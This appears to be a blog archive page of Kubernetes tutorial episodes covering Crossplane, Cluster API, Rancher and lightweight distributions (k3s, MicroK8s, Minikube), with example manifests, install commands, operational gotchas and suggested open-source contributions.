Crossplane: Kubernetes as the Universal Control Plane

Reading Time: 5 minutes

Kubernetes Ecosystem: From User to Contributor, Episode 6
← EP05: Cluster API · EP06: Crossplane · EP07: Crossplane vs Terraform →

12 min read


TL;DR

  • Crossplane extends the exact reconciliation pattern EP05 covered for cluster infrastructure to any cloud resource — an S3 bucket, an RDS instance, a DNS record all become Kubernetes CRDs, continuously reconciled
  • Managed Resources represent one real cloud resource each; Compositions bundle several Managed Resources behind a single, simpler custom API a platform team defines and app teams consume
  • Composition Functions are Crossplane’s newer, more flexible replacement for its older YAML-based patch-and-transform templating — real code (Go, Python, or others) instead of declarative patches
  • Crossplane continuously reconciles like any Kubernetes controller — a manual change to a cloud resource outside Crossplane gets reverted on the next reconcile loop, which is a real surprise for teams used to Terraform’s plan/apply model
  • Provider CRD counts can bloat a cluster’s etcd significantly — this drove the ecosystem’s move toward smaller, split “provider families” instead of one monolithic provider per cloud
  • Contribution opportunity: several providers still haven’t migrated to the family-split pattern — a real, currently-tracked, achievable upstream contribution

The Big Picture

App team writes:                    Platform team defined this Composition
                                     once, behind the scenes:
apiVersion: platform.example.com/v1
kind: Database                       XRD "Database" ─── composes ───┐
metadata:                                                             │
  name: my-app-db                                                     ▼
spec:                                                        ┌────────────────┐
  size: small                                                │ RDSInstance    │
                                                                │ SecurityGroup  │
   │                                                            │ ParameterGroup │
   │ app team never sees                                        └────────────────┘
   │ or touches these three                                     each a real Managed
   ▼                                                            Resource, a real
Crossplane reconciles all three,                                cloud API call
continuously, forever

Crossplane’s pitch as a universal control plane is literal: instead of app teams filing tickets or writing their own Terraform for a database, they request a Database — a custom API the platform team designed — and Crossplane’s controllers translate that into the actual RDS instance, security group, and parameter group underneath, then keep reconciling all three toward the declared state indefinitely.


Managed Resources: Cloud Infrastructure as Kubernetes CRDs

$ kubectl apply -f - <<EOF
apiVersion: s3.aws.upbound.io/v1beta1
kind: Bucket
metadata:
  name: app-uploads-prod
spec:
  forProvider:
    region: us-east-1
  providerConfigRef:
    name: aws-prod
EOF

$ kubectl get bucket app-uploads-prod
NAME               READY   SYNCED   AGE
app-uploads-prod   True    True     30s
#                  ^^^^    ^^^^^^ — READY: resource exists and is healthy
#                          SYNCED: Crossplane's last reconcile succeeded

Every field under forProvider maps directly to that cloud API’s actual parameters — this is a thin, honest translation layer, not an abstraction hiding what’s actually being created. READY/SYNCED becoming True means an actual S3 bucket now exists in that AWS account, exactly as declared.


Compositions and XRDs: Building Your Own Abstract Platform API

This is Crossplane’s real differentiator over just using individual Managed Resources directly:

# The platform team defines the abstract API app teams will see
apiVersion: apiextensions.crossplane.io/v1
kind: CompositeResourceDefinition
metadata:
  name: xdatabases.platform.example.com
spec:
  group: platform.example.com
  names:
    kind: XDatabase
    plural: xdatabases
  claimNames:
    kind: Database        # ← this is what app teams actually create
    plural: databases
  versions:
  - name: v1
    schema:
      openAPIV3Schema:
        properties:
          spec:
            properties:
              size: {type: string, enum: ["small", "medium", "large"]}

App teams interact only with the simple Database claim shown in the Big Picture diagram above. The Composition resource (not shown here for brevity) is what actually maps size: small to a specific RDS instance class, storage size, and backup configuration — the platform team’s opinions, encoded once, consumed self-service by every app team afterward.


Composition Functions: Crossplane’s Newer, More Flexible Approach

Older Crossplane Compositions used a YAML-based “patch and transform” templating language to map the abstract API’s fields onto Managed Resource fields — functional, but limited for anything beyond straightforward field mapping. Composition Functions replace that with actual executable code:

$ crossplane beta render xr.yaml composition.yaml functions.yaml
---
apiVersion: rds.aws.upbound.io/v1alpha1
kind: Instance
metadata:
  name: my-app-db-instance
spec:
  forProvider:
    instanceClass: db.t3.micro   # ← computed by real Go logic based on
                                  #   spec.size, not a static YAML patch
    engine: postgres

Composition Functions run as small, packaged pieces of logic (often distributed as OCI images) that Crossplane’s engine invokes during reconciliation — giving platform teams real conditionals, loops, and validation instead of the older templating language’s more limited patch syntax.


Providers and the Provider Ecosystem

Each cloud’s resources are supplied by a separate providerprovider-aws, provider-gcp, provider-azure, and increasingly split into smaller provider families (provider-aws-s3, provider-aws-rds, etc.) rather than one enormous provider per cloud:

$ kubectl get providers
NAME                   INSTALLED   HEALTHY   AGE
provider-aws-s3        True        True      10d
provider-aws-rds       True        True      10d
#         ^^^^^^ — installing only the families you actually use, instead
#                  of one monolithic provider-aws with every AWS service's
#                  CRDs installed regardless of whether you use them

The family split exists specifically because a single monolithic cloud provider can register thousands of CRDs — a real, measurable strain on a cluster’s etcd and API server that the ecosystem is still in the process of migrating away from.


⚠ Production Gotchas

Crossplane reconciles continuously — a manual change to a cloud resource outside Crossplane gets reverted on the next loop. Teams coming from Terraform’s plan/apply model, where nothing changes until you explicitly run apply again, are frequently surprised the first time a manual “quick fix” in the AWS console gets silently undone minutes later.

Monolithic providers can register thousands of CRDs, and that has a real, measurable etcd and API-server cost. If you’re on an older, non-family provider version and seeing API server memory pressure, check CRD count before assuming it’s an unrelated capacity issue.

Deleting a Composition’s underlying claim doesn’t always tear down cleanly if finalizers on the Managed Resources are stuck — a Managed Resource that failed to delete cleanly from the cloud side (a non-empty S3 bucket, for instance) will block the whole claim’s deletion until that’s resolved manually.


Quick Reference

kubectl get managed                        # every Managed Resource, all providers
kubectl get compositeresourcedefinitions   # XRDs — the abstract APIs defined
kubectl get compositions                   # the mapping logic behind each XRD
kubectl get providers                       # installed providers + health
crossplane beta render <xr> <comp> <fns>    # render a Composition locally, no cluster needed
kubectl describe <managed-resource-kind> <name>   # sync status + underlying cloud errors

Contribution Opportunity: Migrating Providers to the Family Pattern

The limitation: Not every Crossplane provider has migrated from the older, monolithic-per-cloud model to the smaller “provider family” pattern that registers only the CRDs for services actually in use. Clusters running an un-migrated provider carry the etcd and API-server overhead of thousands of unused CRDs, and this is a known, actively-discussed problem in the Crossplane community — not a hypothetical one.

Why it’s hard to fix: Splitting a monolithic provider into families isn’t a mechanical find-and-replace — it means restructuring code generation, versioning, and release processes for every resource type the provider covers, while keeping a migration path that doesn’t break existing users who depend on the old provider’s CRDs. It’s real, unglamorous engineering work that has to happen provider-by-provider, cloud-by-cloud, and each provider’s maintainer bandwidth varies.

What a contribution-shaped fix looks like: The Crossplane and Upbound-maintained provider repositories publicly track which providers still need family-splitting — this is documented, wanted work, not a gap you’d have to go discover yourself. A concrete starting contribution: pick one still-monolithic provider (checking the project’s own tracking issues for an unclaimed one), and work through the documented family-split process the already-migrated providers (like provider-aws) used as a reference implementation. This is real upstream OSS work with an existing template to follow, not a design problem you have to solve from scratch.


Key Takeaways

  • Crossplane’s Managed Resources make individual cloud resources real Kubernetes CRDs, continuously reconciled rather than applied once
  • Compositions and XRDs are the actual value proposition: platform teams define a simple, opinionated API once; app teams self-serve against it without needing to know what’s underneath
  • Composition Functions replace older YAML patch-and-transform templating with real executable logic — a genuinely evolving, more flexible part of the project
  • Continuous reconciliation means manual out-of-band changes get reverted — a real behavioral difference from Terraform’s plan/apply model, not just a implementation detail
  • The provider family migration is documented, wanted, achievable contribution work — not a gap you’d need to discover on your own

What’s Next

Crossplane’s composition model and Terraform’s HCL module model solve the same underlying problem — reusable, parameterized infrastructure definitions — from genuinely different architectural starting points. EP07 puts them side by side and gives a clear recommendation for which fits which team.

Next: EP07 — Crossplane vs Terraform: Composition vs HCL for Infrastructure as Code

Get EP07 in your inbox when it publishes → linuxcent.com/subscribe

Cluster API: Declarative Cluster Lifecycle — Rancher’s Foundation Layer

Reading Time: 5 minutes

Kubernetes Ecosystem: From User to Contributor, Episode 5
← EP04: Rancher · EP05: Cluster API · EP06: Crossplane →

11 min read


TL;DR

  • Cluster API (CAPI) declares Kubernetes clusters themselves — not just workloads running inside them — as Kubernetes objects: Cluster, Machine, MachineDeployment, reconciled by controllers the same way a Deployment reconciles pods
  • CAPI itself is infrastructure-agnostic — the actual provisioning logic lives in separate infrastructure providers (AWS, Azure, GCP, vSphere, and dozens more), each implementing the same core contract
  • Bootstrapping is genuinely awkward by necessity: you need a Kubernetes cluster to run CAPI’s controllers before CAPI can create your real cluster — solved by a temporary “kind” cluster and a pivot step that moves CAPI’s own resources into the cluster it just created
  • Rancher’s own newer provisioning (EP04) increasingly builds on CAPI patterns rather than reinventing cluster lifecycle management from scratch
  • Provider version compatibility is a real, ongoing constraint — CAPI core and each infrastructure provider version independently, and not every combination is supported
  • Contribution opportunity: clusterctl move, the pivot operation, has well-documented fragility with resources it doesn’t natively understand — a concrete, scoped gap

The Big Picture

Cluster (the K8s object, not the K8s cluster itself)
  │
  ├── Represents: this Cluster SHOULD exist
  │
  ▼
MachineDeployment  ──── mirrors Deployment/ReplicaSet/Pod exactly ────┐
  │                                                                     │
  ▼                                                                     │
MachineSet                                                              │
  │                                                                     │
  ▼                                                                     │
Machine  ────────► Infrastructure Provider (AWS/Azure/GCP/vSphere/...)  │
  │                  actually creates the VM/instance                  │
  ▼                                                                     │
Bootstrap Provider (kubeadm, typically)                                │
  actually turns that VM into a working Kubernetes node ────────────────┘

Cluster API’s declarative cluster lifecycle model is the same reconciliation pattern Kubernetes already uses for workloads, applied one layer up: instead of a Deployment controller reconciling Pod objects into running containers, CAPI’s controllers reconcile Machine objects into running cloud instances that then join a cluster as nodes.


The Core Abstraction: Clusters and Machines as Kubernetes Objects

$ kubectl apply -f - <<EOF
apiVersion: cluster.x-k8s.io/v1beta1
kind: Cluster
metadata:
  name: prod-us-east
spec:
  clusterNetwork:
    pods:
      cidrBlocks: ["192.168.0.0/16"]
  infrastructureRef:
    apiVersion: infrastructure.cluster.x-k8s.io/v1beta2
    kind: AWSCluster
    name: prod-us-east
EOF

$ kubectl get clusters
NAME           PHASE          AGE
prod-us-east   Provisioning   45s

$ kubectl get machines
NAME                     CLUSTER        PHASE         VERSION
prod-us-east-cp-x7k2l    prod-us-east   Provisioning  v1.28.5

The Cluster object is a declaration of intent, not the cluster itself — a management cluster (a separate, already-running Kubernetes cluster whose only job is to run CAPI’s controllers) watches these objects and does the actual work of calling out to AWS, Azure, or whatever provider is referenced, creating instances, and bootstrapping Kubernetes on them.


The Provider Model: How CAPI Stays Infrastructure-Agnostic

CAPI’s core (cluster-api) knows nothing about AWS, Azure, or any specific cloud. That knowledge lives in separate, independently-versioned infrastructure providers:

$ clusterctl init --infrastructure aws
Fetching providers
Installing cert-manager
Installing Provider="cluster-api" Version="v1.6.2"
Installing Provider="bootstrap-kubeadm" Version="v1.6.2"
Installing Provider="control-plane-kubeadm" Version="v1.6.2"
Installing Provider="infrastructure-aws" Version="v2.4.0"
#                                          ^^^^^^ — versioned independently
#                                          from core CAPI above

This split — core lifecycle logic separate from provider-specific implementation — is the same architectural pattern CNI and CSI use elsewhere in Kubernetes: a stable core contract, swappable implementations. It’s also exactly why CAPI’s ecosystem includes dozens of infrastructure providers (AWS, Azure, GCP, vSphere, OpenStack, Docker, bare metal, and many more) maintained by different teams at different paces.


A Management Cluster Managing Itself and Others: The Pivot

The genuinely awkward part of CAPI’s bootstrap story: you need a running Kubernetes cluster to host CAPI’s controllers before CAPI can create your first real cluster. The standard pattern:

# Step 1: spin up a throwaway local cluster just to run CAPI controllers
$ kind create cluster --name capi-bootstrap
$ clusterctl init --infrastructure aws

# Step 2: use that temporary management cluster to provision the REAL cluster
$ clusterctl generate cluster prod-us-east --infrastructure aws | kubectl apply -f -

# Step 3: move CAPI's own resources OFF the throwaway cluster and ONTO
# the cluster that was just created — "pivoting" management to itself
$ clusterctl move --to-kubeconfig=./prod-us-east.kubeconfig
Performing move...
Discovering Cluster API objects
Moving Cluster API objects: Clusters=1, Machines=3, ...

After the pivot, the cluster CAPI created is now managing its own lifecycle (and can go on to manage other clusters too) — the temporary kind cluster can be torn down. This bootstrap-then-pivot dance is elegant in theory and one of the more fragile operational moments in CAPI’s lifecycle in practice.


How Rancher and Others Build On CAPI

Rancher’s newer cluster provisioning (EP04) increasingly leans on CAPI patterns rather than maintaining entirely separate provisioning logic — the industry direction across the Kubernetes ecosystem has been toward CAPI as the shared substrate for “declare a cluster, get a cluster,” with vendors building their own UX and opinionated defaults on top rather than reinventing the reconciliation model itself.


⚠ Production Gotchas

Provider version compatibility is a real support matrix, not a “probably fine” assumption. Core CAPI and each infrastructure provider version independently — upgrading one without checking the compatibility matrix for the other is a common source of cryptic reconciliation failures.

clusterctl move is a rare, high-stakes operation — most teams run it once per cluster’s lifetime, if ever, which means nobody on the team has recent hands-on experience when something goes wrong. Test the pivot in a non-production scenario before relying on it for anything real.

A Machine stuck in Provisioning can mean the infrastructure provider, the bootstrap provider, or the actual cloud API — three different places to look, and the Machine object’s own status doesn’t always make it obvious which. Check the infrastructure-specific object (AWSMachine, AzureMachine, etc.) directly, not just the generic Machine.


Quick Reference

clusterctl init --infrastructure <provider>   # install CAPI + a provider on the management cluster
clusterctl generate cluster <name> --infrastructure <provider>   # generate cluster manifests
kubectl get clusters                           # cluster lifecycle phase
kubectl get machines                           # per-node provisioning phase
kubectl get awsmachines / azuremachines / ...   # provider-specific detail
clusterctl move --to-kubeconfig=<path>          # pivot management to another cluster
clusterctl describe cluster <name>              # human-readable status tree

Contribution Opportunity: clusterctl move‘s Fragility With Non-Native Resources

The limitation: clusterctl move knows how to move CAPI’s own well-known resource types between management clusters cleanly. When a provider or an operator has added custom resources that reference or extend CAPI objects — a common real-world pattern — move doesn’t always understand the relationship, and teams have reported needing manual intervention (patching, reapplying, or reordering) to get a full pivot to succeed cleanly. This is documented in multiple open issues against the project, not a rare edge case.

Why it’s hard to fix: move‘s core logic has to correctly identify and preserve object references and ownership across an arbitrary graph of custom resources it wasn’t necessarily designed to know about — building a fully general solution risks either false confidence (silently missing a reference) or false failure (over-cautiously blocking a move that would have been fine). The CAPI maintainers have to weigh correctness against usability here, and it’s a genuinely hard design problem, not a simple bug.

What a contribution-shaped fix looks like: Two realistic, scoped starting points: (1) a --dry-run-style pre-flight checker for clusterctl move that specifically scans for custom resources referencing CAPI objects and flags them before the move attempt, rather than discovering the gap mid-operation; or (2) contributing a documented, tested procedure (and ideally a small helper tool) for the specific pattern of “extra resources referencing Machine/Cluster objects” that’s already been reported in the project’s issue tracker — turning a known, recurring support question into a documented, repeatable procedure.


Key Takeaways

  • CAPI applies Kubernetes’ own reconciliation pattern one layer up — Cluster and Machine objects are declarations, reconciled into real infrastructure by provider-specific controllers
  • The core/provider split keeps CAPI infrastructure-agnostic, at the cost of independent versioning you have to track across a real compatibility matrix
  • The bootstrap-then-pivot pattern is CAPI’s most elegant and most operationally fragile moment — rehearse it before you need it for real
  • Rancher and other platform tools increasingly build their own provisioning UX on top of CAPI’s reconciliation model rather than replacing it
  • The clearest contribution opportunity is clusterctl move‘s handling of non-native custom resources — a documented, scoped gap with real prior art in the issue tracker

What’s Next

CAPI treats infrastructure — VMs, networks, load balancers — as the thing being reconciled into existence from Kubernetes objects. EP06 takes that same idea and generalizes it as far as it can go: Crossplane turns Kubernetes into a control plane for effectively any cloud resource, not just the ones needed to run Kubernetes itself.

Next: EP06 — Crossplane: Kubernetes as the Universal Control Plane

Get EP06 in your inbox when it publishes → linuxcent.com/subscribe

Rancher: Multi-Cluster Kubernetes Management at Scale

Reading Time: 5 minutes

Kubernetes Ecosystem: From User to Contributor, Episode 4
← EP03: k3s vs MicroK8s vs Minikube · EP04: Rancher · EP05: Cluster API →

11 min read


TL;DR

  • Rancher multi-cluster management means one Rancher server managing many downstream Kubernetes clusters — its own RKE2/k3s clusters, or imported EKS/GKE/AKS clusters — from a single pane of glass
  • Rancher doesn’t proxy every API call through itself; it deploys a lightweight agent into each downstream cluster that phones home, then aggregates each cluster’s API through that agent
  • Fleet, Rancher’s built-in GitOps engine, is what actually pushes manifests to potentially hundreds of clusters from a single git repository — this is the feature that makes “fleet” in the product’s marketing literal, not aspirational
  • Rancher’s Projects group namespaces within one cluster for permission management — they are not a cross-cluster grouping, a common misunderstanding
  • The Rancher server itself becomes something you now have to operate: HA, upgrades, and version compatibility with every downstream cluster’s Kubernetes version are real, ongoing operational work
  • Contribution opportunity: Fleet’s multi-cluster drift visibility has real, specific gaps — covered below

The Big Picture

                    ┌─────────────────────────┐
                    │      RANCHER SERVER       │
                    │  (itself a K8s cluster,   │
                    │   ideally HA, 3+ nodes)   │
                    └────────────┬────────────┘
                                 │ agents phone home,
                                 │ API aggregated back
              ┌──────────────────┼──────────────────┐
              │                  │                  │
        ┌─────▼─────┐     ┌──────▼──────┐    ┌──────▼──────┐
        │  RKE2      │     │  Imported    │    │  Imported    │
        │  cluster   │     │  EKS cluster │    │  GKE cluster │
        │ (Rancher-  │     │ (Rancher     │    │ (Rancher     │
        │  provisioned)│    │  didn't      │    │  didn't      │
        │            │     │  create it)  │    │  create it)  │
        └────────────┘     └─────────────┘    └─────────────┘

Rancher multi-cluster management works by inverting the connection direction most people assume: Rancher doesn’t reach out and control downstream clusters directly. Each downstream cluster runs a small agent that establishes an outbound connection back to the Rancher server — which is why Rancher can manage a cluster sitting behind NAT or a restrictive firewall, as long as that cluster can reach out.


How Rancher Actually Manages Clusters It Didn’t Create

# Import an existing cluster Rancher never touched at creation time
$ kubectl apply -f https://rancher.example.com/v3/import/<token>.yaml
# This installs the cattle-cluster-agent into the target cluster —
# that agent is the only thing Rancher needs to start managing it

$ kubectl get pods -n cattle-system
NAME                                    READY   STATUS    RESTARTS
cattle-cluster-agent-7d8f9c-x2k9l       1/1     Running   0

Once the agent is running, Rancher’s UI and API present that cluster’s resources as if you were talking to it directly — the agent maintains the tunnel and relays API calls both ways. This is the architectural reason Rancher can manage a genuinely heterogeneous fleet: RKE2, k3s, EKS, GKE, AKS, and on-prem clusters all look identical to Rancher once the same agent is running in each.


RKE2 and k3s: Rancher’s Own Cluster Distributions

Rancher can also provision brand-new clusters directly, using its own distributions:

# Provisioning a new downstream cluster via Rancher's cluster API
# (typically done through the UI, but expressible as a CR)
$ kubectl apply -f - <<EOF
apiVersion: provisioning.cattle.io/v1
kind: Cluster
metadata:
  name: edge-fleet-01
  namespace: fleet-default
spec:
  kubernetesVersion: v1.28.9+rke2r1
  rkeConfig:
    machinePools:
    - name: pool-01
      quantity: 3
EOF

RKE2 (“RKE Government,” a CIS-hardened, more security-focused distribution) and k3s (the lightweight distribution covered in EP03) are both Rancher/SUSE projects, and Rancher treats them as first-class provisioning targets — this is the direct product connection between “the lightweight Kubernetes distro you picked in EP03” and “the fleet manager covered in this episode.”


Fleet: GitOps at Fleet Scale

# Fleet watches a git repo and deploys its manifests to a TARGETED
# set of clusters based on label selectors — not necessarily all of them
$ kubectl apply -f - <<EOF
apiVersion: fleet.cattle.io/v1alpha1
kind: GitRepo
metadata:
  name: platform-baseline
  namespace: fleet-default
spec:
  repo: https://github.com/example-org/platform-manifests
  branch: main
  targets:
  - clusterSelector:
      matchLabels:
        env: production
EOF

$ kubectl get gitrepo -n fleet-default
NAME                REPO                                          COMMIT     BUNDLESREADY
platform-baseline   https://github.com/example-org/platform-...   a1b2c3d    12/14
#                                                                              ^^^^^ — 2 clusters
#                                                                              haven't converged yet

BUNDLESREADY 12/14 is the number that matters at fleet scale — it tells you how many of the targeted clusters have actually converged to the git state, but notice it doesn’t tell you why the other 2 haven’t, or which 2 they are, without drilling into each bundle individually. That’s the exact gap covered in this episode’s contribution section.


Projects and RBAC: Rancher’s Multi-Tenancy Layer

A common misconception worth correcting directly: Rancher’s Projects group namespaces within a single cluster for permission and resource-quota management — they are not a mechanism for grouping resources across clusters. Cross-cluster access control is handled separately, through Cluster-level and Global roles assigned per user or group.

Global scope        → applies across every cluster Rancher manages
  └── Cluster scope  → applies to all namespaces in one specific cluster
        └── Project scope → applies to a defined subset of namespaces
              within that one cluster (Rancher's own grouping construct)

Getting this hierarchy backwards — assuming a Project spans clusters — is one of the most common Rancher RBAC mistakes teams make when first designing their permission model.


⚠ Production Gotchas

Rancher server itself needs HA, and losing it doesn’t take down downstream clusters — but it does take down your ability to manage them centrally. Downstream clusters keep running their workloads fine if Rancher server is unreachable; you just lose the single-pane-of-glass view and Fleet’s GitOps reconciliation until it’s back.

Version skew between Rancher server and downstream Kubernetes versions is a real, documented compatibility matrix — not a “should mostly work” situation. Upgrading Rancher server ahead of your downstream clusters’ Kubernetes versions (or vice versa, letting downstream clusters drift too far ahead) can break agent compatibility. Check Rancher’s official support matrix before any upgrade, not after something breaks.

Agent reconnection storms after a Rancher server upgrade or restart are a known operational event, not a bug report. If you manage dozens of downstream clusters, expect a burst of reconnection activity immediately after any Rancher server maintenance — plan maintenance windows with that in mind.


Quick Reference

kubectl apply -f import.yaml              # import an existing cluster
kubectl get clusters.provisioning.cattle.io -A   # all clusters Rancher manages
kubectl get gitrepo -n fleet-default       # Fleet GitOps repo status
kubectl get bundles -n fleet-default       # per-cluster deployment bundle status
kubectl get pods -n cattle-system          # agent health, on a downstream cluster

Contribution Opportunity: Fleet’s Multi-Cluster Drift Visibility

The limitation: Fleet’s BUNDLESREADY count tells you how many targeted clusters have converged, but drilling into why a specific cluster hasn’t — a stuck rollout, a resource conflict, a cluster that’s unreachable — still requires checking that cluster’s bundle status individually. At a fleet of dozens or hundreds of clusters, there’s no aggregated view that surfaces “these 3 clusters are all failing for the same underlying reason” without manual cross-referencing.

Why it’s hard to fix: Aggregating meaningful failure reasons across a heterogeneous fleet is genuinely harder than it sounds — a “failed” bundle on one cluster might be a transient network blip, on another a real manifest conflict, and on a third a resource quota limit. Building a dashboard that correctly buckets and summarizes those different failure classes without producing a wall of noise is a real UX and data-modeling problem, and it’s not the kind of thing that gets prioritized ahead of core provisioning reliability work.

What a contribution-shaped fix looks like: A scoped, achievable starting point: a fleet CLI plugin or a Rancher UI extension that queries all Bundle resources across the fleet’s clusters, groups them by failure-reason similarity (using the existing status conditions Fleet already populates — this is a client-side aggregation problem, not a new backend feature), and surfaces a ranked summary. This is buildable against Fleet’s existing CRDs and status fields without needing to modify Fleet’s core reconciliation logic — exactly the kind of contribution an operator who’s felt this specific pain at scale is positioned to build and upstream.


Key Takeaways

  • Rancher manages downstream clusters through an outbound-connecting agent, not by reaching in — this is why it can manage clusters behind NAT or restrictive firewalls
  • Fleet is the actual mechanism for GitOps at fleet scale, targeting clusters by label selector and reporting convergence via BUNDLESREADY counts
  • Projects group namespaces within one cluster, not across clusters — a frequent RBAC design mistake starts from getting this backwards
  • The Rancher server becomes real infrastructure you operate: HA, version-compatibility matrices, and post-upgrade agent reconnection are ongoing operational realities
  • The clearest contribution opportunity is Fleet’s drift-visibility gap at scale — a client-side aggregation problem buildable against existing CRDs, not a core-logic change

What’s Next

Rancher’s own cluster provisioning sits on top of a more general pattern: declaring cluster lifecycle as Kubernetes resources. EP05 covers Cluster API directly — the CNCF project Rancher’s own provisioning increasingly builds on, and the pattern several other tools in this series also depend on.

Next: EP05 — Cluster API: Declarative Cluster Lifecycle — Rancher’s Foundation Layer

Get EP05 in your inbox when it publishes → linuxcent.com/subscribe

k3s vs MicroK8s vs Minikube: Which Lightweight Kubernetes Fits Your Use Case

Reading Time: 6 minutes

Kubernetes Ecosystem: From User to Contributor, Episode 3
← EP02: Minikube · EP03: k3s vs MicroK8s vs Minikube · EP04: Rancher →

10 min read


TL;DR

  • k3s vs MicroK8s vs Minikube comes down to one question first: do you need this to run in production on real hardware (k3s, MicroK8s), or only on a developer’s laptop (Minikube)?
  • k3s (built by Rancher, now part of SUSE) is a single ~70MB binary using SQLite or embedded etcd, designed explicitly for edge and IoT production deployments, not just local dev
  • MicroK8s (Canonical) is a snap-packaged cluster using Dqlite for HA — covered in EP01 — closer to k3s in intent than to Minikube
  • Minikube is the odd one out here: it’s VM/container-isolated and explicitly a local development tool, not something you’d run in production
  • Recommendation: for production edge/IoT, pick k3s or MicroK8s based on your packaging preference (binary vs snap) and datastore comfort (SQLite/etcd vs Dqlite); for local development and CI, pick Minikube when you need real isolation, or either k3s/MicroK8s when you just need “a cluster, fast”
  • Contribution opportunity: none of the three has a first-class way to migrate a running cluster’s workloads to another — a real, currently-unfilled gap

The Big Picture

                    k3s              MicroK8s           Minikube
                    ────             ────────           ────────
Packaging           Single binary    Snap package       VM/container
Intended for         Edge/IoT prod    Edge/IoT prod       Local dev only
Datastore (HA)       SQLite / etcd    Dqlite             etcd (per-node)
Multi-node HA        Yes              Yes                No (single profile
                                                           node, though multi-
                                                           profile exists)
Isolation from host   None (bare)      None (bare)        Full (VM or
                                                            container boundary)
Default footprint     ~70MB binary     ~200MB snap         500MB-1GB+ VM/image
Add-on model          Helm charts      snap add-ons        minikube addons
                      via manifests

k3s vs MicroK8s vs Minikube isn’t really a three-way tie — it’s two production-oriented, bare-metal tools (k3s, MicroK8s) and one deliberately isolated local-dev tool (Minikube) that happen to get compared because all three market themselves as “lightweight Kubernetes.”


Architecture at a Glance

k3s strips Kubernetes down to a single binary by removing in-tree cloud provider integrations, dropping alpha features, and swapping etcd for embedded SQLite by default (though it supports real etcd or external datastores for HA). It was purpose-built by Rancher Labs for resource-constrained edge devices and CI, and that heritage still defines its design decisions today.

MicroK8s — covered in full in EP01 — takes a different packaging route (a snap bundle rather than a single binary) but lands in almost the same use-case space: edge, IoT, and CI, with its own HA datastore (Dqlite) instead of etcd.

Minikube — covered in EP02 — is architecturally unlike either: it isolates the entire cluster inside a VM or container specifically so your laptop’s Kubernetes environment doesn’t interact directly with your laptop’s actual kernel and network stack. That isolation is a feature for local development and actively unwanted overhead for a production edge deployment.


Resource Footprint: What Each One Actually Costs to Run

# k3s — single binary, starts in seconds, minimal base memory
$ curl -sfL https://get.k3s.io | sh -
$ k3s kubectl get nodes
NAME       STATUS   ROLES                  AGE   VERSION
my-node    Ready    control-plane,master   12s   v1.28.5+k3s1

# MicroK8s — snap install, slightly heavier than k3s due to bundled containerd/Dqlite
$ sudo snap install microk8s --classic
$ microk8s status --wait-ready

# Minikube — heaviest by design, provisions a full VM or container first
$ minikube start --driver=docker
# (30-90 seconds depending on driver, before Kubernetes even starts booting)

On a resource-constrained edge device (a Raspberry Pi, an industrial gateway), the difference between k3s’s ~70MB binary and Minikube’s VM-based footprint isn’t a rounding error — it’s the difference between fitting on the device at all and not. This is why Minikube essentially never appears in edge deployment discussions: it was never built for that use case.


The Add-on / Component Model Compared

k3s MicroK8s Minikube
CNI Flannel (default), swappable Calico (default), swappable via add-on Varies by driver, addon-enabled
Ingress Traefik (bundled by default) nginx via add-on nginx via addon
Storage local-path-provisioner (bundled) hostpath-storage add-on default-storageclass addon
Extending Standard Helm charts, manifests microk8s enable <addon> minikube addons enable <name>

k3s ships more “batteries included” by default (Traefik and local-path storage are on unless you disable them) — a meaningfully different default posture from MicroK8s and Minikube, which both start closer to bare and expect you to opt in to what you need.


Recommendation: Which One Actually Fits Your Use Case

Running Kubernetes on real edge/IoT hardware in production: choose between k3s and MicroK8s based on packaging preference and datastore comfort, not raw features — they solve the same problem. If you’re already inside the snap ecosystem (Ubuntu Core, other Canonical tooling) or want a specific datastore, MicroK8s’s Dqlite. If you want the smallest possible footprint and the option of real etcd for HA, k3s. If you’re evaluating Rancher for fleet management (EP04), note that Rancher created k3s specifically to be its default downstream cluster type — that pairing has more operational precedent than any other combination here.

Local development, testing against something close to a real cloud node: Minikube, specifically when you need the VM isolation boundary — testing kernel-adjacent behavior, simulating a genuinely separate node, or needing multiple isolated profiles side by side.

CI pipelines needing a disposable cluster fast: k3s’s single-binary startup is hard to beat for raw speed; MicroK8s’s snap install is a close second. Minikube is the wrong tool here unless the CI environment specifically needs VM-level isolation for security reasons.

Don’t pick based on “most popular” or “newest” alone — all three are actively maintained, CNCF-conformant, and the “right” one is entirely determined by whether you’re targeting production hardware or a local workstation.


⚠ Production Gotchas

k3s’s default SQLite datastore is single-node only — HA requires explicit configuration. Don’t assume curl | sh gives you production HA out of the box; it gives you a working single node, and HA (embedded etcd or external datastore) is a deliberate follow-up step.

Comparing “footprint” numbers from marketing pages is misleading without matching workloads. A k3s binary’s on-disk size and MicroK8s’s snap size aren’t measuring the same thing (a binary vs. a bundle including containerd and a datastore) — benchmark actual running memory under your real workload, not install-time size.

None of these three are drop-in replacements for each other operationally, despite the “lightweight Kubernetes” label all three carry. Add-on names, default CNI, and default ingress all differ — migrating a manifest set between them is not guaranteed to work unmodified.


Quick Reference

# k3s
curl -sfL https://get.k3s.io | sh -
k3s kubectl get nodes
sudo systemctl status k3s

# MicroK8s
sudo snap install microk8s --classic
microk8s status --wait-ready
microk8s kubectl get nodes

# Minikube
minikube start --driver=<docker|kvm2|hyperkit|virtualbox>
minikube status
kubectl get nodes   # uses minikube's kubeconfig context directly

Contribution Opportunity: No First-Class Migration Path Between Them

The limitation: If you outgrow Minikube for local dev and want to mirror your production k3s environment more closely, or you’re running MicroK8s at the edge and want to evaluate switching to k3s, there’s no tooling in any of the three projects that translates the other’s add-on configuration, ingress setup, or storage class definitions into its own equivalent. You’re reproducing configuration by hand, from documentation, project by project.

Why it’s hard to fix: Each project’s add-on/component model evolved independently, solving the same category of problem (ingress, storage, networking) with different defaults and different configuration surfaces — there’s no shared standard to translate through, and no single maintainer group owns “compatibility between lightweight Kubernetes distros” as a problem, because each project’s maintainers are reasonably focused on their own users, not on easing exit to a competitor.

What a contribution-shaped fix looks like: A standalone, community-maintained translation tool or even a well-structured comparison-and-migration guide (living in a neutral location like a CNCF sandbox project or a widely-referenced GitHub repo, not owned by any one vendor) that maps common add-on configurations (ingress-nginx settings, storage class parameters, CNI policy syntax) between the three. This doesn’t require deep contribution to any single project’s core — it requires someone who has actually run workloads on more than one of these and is willing to document the translation precisely, which is exactly the kind of gap a practitioner (not a maintainer) is best positioned to fill.


Key Takeaways

  • k3s and MicroK8s are both production-oriented, bare-metal tools for edge/IoT; Minikube is a deliberately isolated local-dev tool — they’re not really three-way competitors on the same axis
